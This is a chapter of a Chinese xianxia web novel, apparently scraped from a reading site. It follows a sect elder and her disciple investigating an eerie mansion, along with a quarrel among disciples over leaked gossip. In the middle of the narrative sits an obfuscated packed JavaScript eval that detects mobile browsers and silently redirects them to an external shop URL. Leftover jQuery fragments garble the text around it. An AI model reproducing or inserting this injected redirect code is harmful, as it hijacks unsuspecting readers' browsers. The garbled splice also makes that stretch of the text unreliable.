-
褚师白此刻正避在一处亭子里,手里正抛着那些梅子玩,巧妙的角度正好把这些人的举动都落入了眼里。
而那些偷来的梅子此刻都躺在一个人的怀里。
相里昀渊望着自己怀里的一堆散发着诱人香气的果子,若是遇见谁不小心瞧见,只有他这位小弟子有理说不清,而尊敬的师祖会有什么错呢?
不过是,趁四下无人逼着他给她摘来了一堆的梅子。
他盯着她上下抛着玩,有些疑虑:“这,能吃吗?”
“为何不能?”她抛了一个进嘴里,然后以迅雷不及掩耳的速度,塞了一颗进他嘴里。
……
见他被酸得眉眼微颤,她笑得畅快:
“偷来的是不是特别的甜?”说完冲他调皮地眨了下眼睛。
相里昀渊莫名耳朵有些发热,语气犹豫道:“我以为……”
她有几分漫不经心地斜看着他:“以为什么?”
“不过幻像,不是吗?”他吃着嘴里的梅子,看着花园里那些永开不败的花以及永远翩翩起舞的彩蝶……
褚师白再吃了一颗梅子,冷笑着说:
“就是因为不是,我才觉得这里越来越有趣了……”这老妖怪,她昨晚如此挑衅了,它还这么安静,准是在憋什么更坏的心思。
眼前的一切,真真假假。
相里昀渊学着她也抛了一颗梅子入口,酸酸甜甜的,竟有些像他此刻的心境。他默默凝视着她恣意的姿态:
“师祖一大早的把我喊起来偷梅子,就是想确认此地的古怪之处?”
“干坏事,不能一个人,容易被抓。”
哎,昨晚明明说习惯一个人。师祖的记忆力真的很不好。
“那为什么是我去偷……?”
“你年纪小,万一被抓到,说你嘴馋了,很轻易被原谅。”
“本师祖一把年纪了,说我嘴馋了偷东西,很容易被打。”
“你看,世界就是对本师祖这么有偏见。”褚师白越说越觉得自己委屈了。
相里昀渊:……
师祖胡说八道的本事真的日渐优异。
柳师兄放心不下,早早去门口外查探了一番,管家在门口堵住了他,说山雾一般来得快去得快,像这样连续下重雾几天的情形,也最多三天必定会放晴,让他放心多留一日。
远处迷雾里传来人声,管家说,是他安排了人在修复坍塌的桥,必定不能影响诸位的出行云云。
柳师兄只好回了宅子,他打开引路的银盘法器,那只小人儿悬在小小的法器上方,依然恹恹地原地打转着,从来没有出现过这样的情形,不安更加深了一层。
又相安无事到了晚上。这一夜,柳师兄安排了几位弟子轮值守夜。
两位值守的小弟子,蹲守在一处花园,四下静寂无人。
这宅子白天看着草长莺飞蝴蝶翩翩还挺美好的,就是到了晚上,特别的寂静——
就像所有的声音,都被什么吸走了似的,甚至没听见什么虫鸣,加上阴森潮湿,竟有几分渗人。
-
其中一人正是施师兄悄声说道:
“你说柳师兄怎么啦?突然就安排大家夜间巡守?”
“不知道,师兄安排。我们听从便是了。”
“我们都在这住了几天,不是挺好的吗?朱大善人真的跟传闻一样热情好客。宅子金碧辉煌,仆人无微不至,真挑不出什么毛病,再住下去,我都有点舍不得走了。嘿嘿”
“瞧你这出息。”
“放心吧。我们的弟子剑上都镶嵌有云梦宗的灵石,遇妖则亮起——”施师兄拿起剑比划了几下,
“你看,毫无动静,能有什么?”
“那也是,那位师前辈不也一直没走呢吗?”
“话说回来,相里师弟这个人……我觉得他是不是有点目中无人了?”
“就算他看不起咱们,柳师兄也是与他同为亲传弟子,可你瞧他……”
“不是沉默寡言装深沉,就是招蜂引蝶的。”
“招蜂引蝶?”
“你没看见小师妹她们的眼神吗?都往他身上盯着。”
“你是说雪灵?”
两人说完都没忍住噗嗤笑了。
“这不明显呢吗?她都明目张胆地护着相里师弟了。”
“这小子不就好运,长了一张桃花脸吗?”
“真有什么事,相里师弟说不定还得要几位师姐们护着呢。”
“相里师弟,是不是没参加金丹弟子的大比?”
“许是钟离师叔不让他出来丢人?”
“要是十分出色,早该像柳师兄一样,扬名天下了。怎么会连仙门大比都不参加?”
“所以说都被他肤浅的外貌迷惑了”
“可不是呢吗?”
-
第三日清晨。
“雪灵,你突然发什么疯?”
雪灵师姐提剑追着施师兄满花园乱跑!
“你站住!为何像个长舌妇,在背后编排我的坏话!”
“我何时编排你的坏话了?”施师兄抱头鼠窜。
“昨晚!”
“说什么呢?”施师兄矢口否认。
“你别不承认!”
“他与你一起值守,是也不是?”雪灵师姐指着另一位弟子,正是与施师兄一起守夜之同门师弟。
“是……可是……”施师兄不由愤愤地看向一旁像鹌鹑一样,早被围堵在一旁的同门师弟。
同门师弟立马吓得连连摆手否认:“不是我说的,不是我说到…”
“不是你,也不是我,那还有谁?”施师兄恨恨道。
雪灵闻言大怒,剑指着他,抖动不已:
“那你就是承认,你门背后毁坏我声誉了?”
“我怎么毁坏你声誉了?”
“你说,你说我盯着相里师弟不放,一路对他谄媚照顾,分明就是说我不要脸……”
施师兄小声嘀咕:“我没这个意思。”
他与那位同门师弟交换着眼神:我们昨晚说这些的时候,明明是四下无人啊,她咋就知道了呢?
“想不到你们竟敢背后非议我,还不敢承认!”
“你们还编排了相里小师弟!”
“说他不过是长了一张十分好看的桃花脸,还不如我们几个女弟子。”
施师兄:是大概说过这些,但也没加“十分好看”这几个字啊喂!
几位师姐愤愤不平:“太过分了…”
施师兄恼羞成怒:不对,昨晚我确定四下无人!她们除非是顺风耳,否则不可能知道谈话内容。
那是怎么一回事?
“何事吵闹?”柳长生被他们争执引了过来。
“师兄——!“雪灵委屈地走向柳师兄,“他们在背后编排我与相里小师弟……”
眼前活色生香的少年人,已然成为所有人议论中心,褚师白依靠柱子上笑道:
“本师祖怎么听着,他们一直在夸赞你呢。”
句句字字都是在夸她家小昀渊长得好看,至于质疑的实力部分,那又不是事实,自动过滤掉了。
相里昀渊:“……”
“你怎么看?”见他不作声,以为他真的伤心了。
相里昀渊明显一愣:“我看什么?”
一副我不懂你说什么的样子。
褚师白用下巴指了指说:
“喏,追求者在这呢,就不回应一下吗?”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14192146|147179||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
雪灵这么恼羞成怒只是因为被编排不要脸,但并没有否认心仪小昀渊这件事。如今她这么一闹,不就是所有人都知道了吗?
她微微摸着长灵取笑道:
“哎呀,眨眼间竟然到了我家小崽子有人心仪的年纪了吗?”
他默默盯着她,凤目像是被涂了月光宝石,熠熠生辉:“你,怎么看?”
褚师白手长腿长地换了个站立的姿势,显得慵懒又清冷,给人一种遥不可及的疏离之感。
尤其此刻她看上去,有种莫名的冷淡。
“我能怎么看?我们云梦宗又没有禁止谈情说爱的规条,你大可放心。”
说完,徒然心思一动,回头让百子由加上一条,也不是不可以……
不过这个想法只是冒出来一秒钟,就被她忽略了。也不去深究为什么生出这么可笑的念头。
向来自诩大度的师祖,从不会把这些小事放在心上。
不经意地把目光放回弟子们争吵上。
那水灵灵的女弟子来自扶月峰,好像叫“雪灵”吗?
此刻她万分娇羞的样子,眼神时不时偷瞄向小昀渊。
她脑子里反复琢磨,想象两人般配站在一起的模样,竟想不出来……
没发现相里昀渊的目光一直追寻着她,像是某种小动物,专注又热烈!
他注视她的眼神湿漉漉的:“我不喜欢她。”
许久,听见她不甚在意地回答了一个字:
“哦。”
褚师白放松下来的唇角如往常一样微微勾着,看不出来什么情绪变化。
小动物眼里小心翼翼的执着却瞬间熄灭了。
她根本不在乎……
他喜欢谁。
柳师兄实在是不大想管这些小孩子间的小打小闹,但又不得不端起师兄的威严:
“你们两个……可有此事?”
“师兄,我们……”两人还想挣扎一下,“昨晚我们值守之时,明明四下无人……是她们自己爱偷听墙角。”
人家已经蛐蛐得那么小声了,也很委屈的好吗?
“并非我们偷听墙角!”
“那你说,你怎么就知道是我们说的?”
“是今天在我们房间打扫的丫鬟们说的。”
雪灵鄙视地看着他们:
“师弟,隔墙有耳!若要人不知……”
两人哭着两张脸嘀咕:
“丫鬟半夜不睡觉躲在花园里偷听墙角吗?”
柳师兄只得道:
“既然你们两个犯了口禁,自行领罚!回头给她们和相里师弟道歉,此等错以后不可再犯。”
“是,师兄!”
柳长生又严肃道:
“你们两个每日加强修炼,我亲自监督,竟然值守时,被凡人靠近了都浑然不知,这可是大忌!”
两人这下更欲哭无泪了,莫非这个宅子人人都生了一双顺风耳不成?
柳师兄皱着眉头,心下顿生一团古怪,挥之不去!
闹剧总算告一段落。
褚师白也伸了伸胳膊道:“小昀渊啊,本师祖突然好想喝梅子酒。最好,陈酿三年。”
相里昀渊默默收拾眼里破碎的情绪:这大白天的喝酒?师祖,是抽了什么风?
“你说这朱宅这么富裕,不会连几坛好酒都拿不出来吧?”
昀渊闻言脸一黑:“师祖,又想让我去偷酒?”
师祖微微一笑:“我是这种人吗?”
“据说最昂贵的酒一两值千金?”
相里昀渊随她远眺了一眼那阁楼的高处:“什么酒需要藏在那种地方?”
“不知道呢?若是没酒喝,我就无聊了,无聊了就想找别人麻烦……。”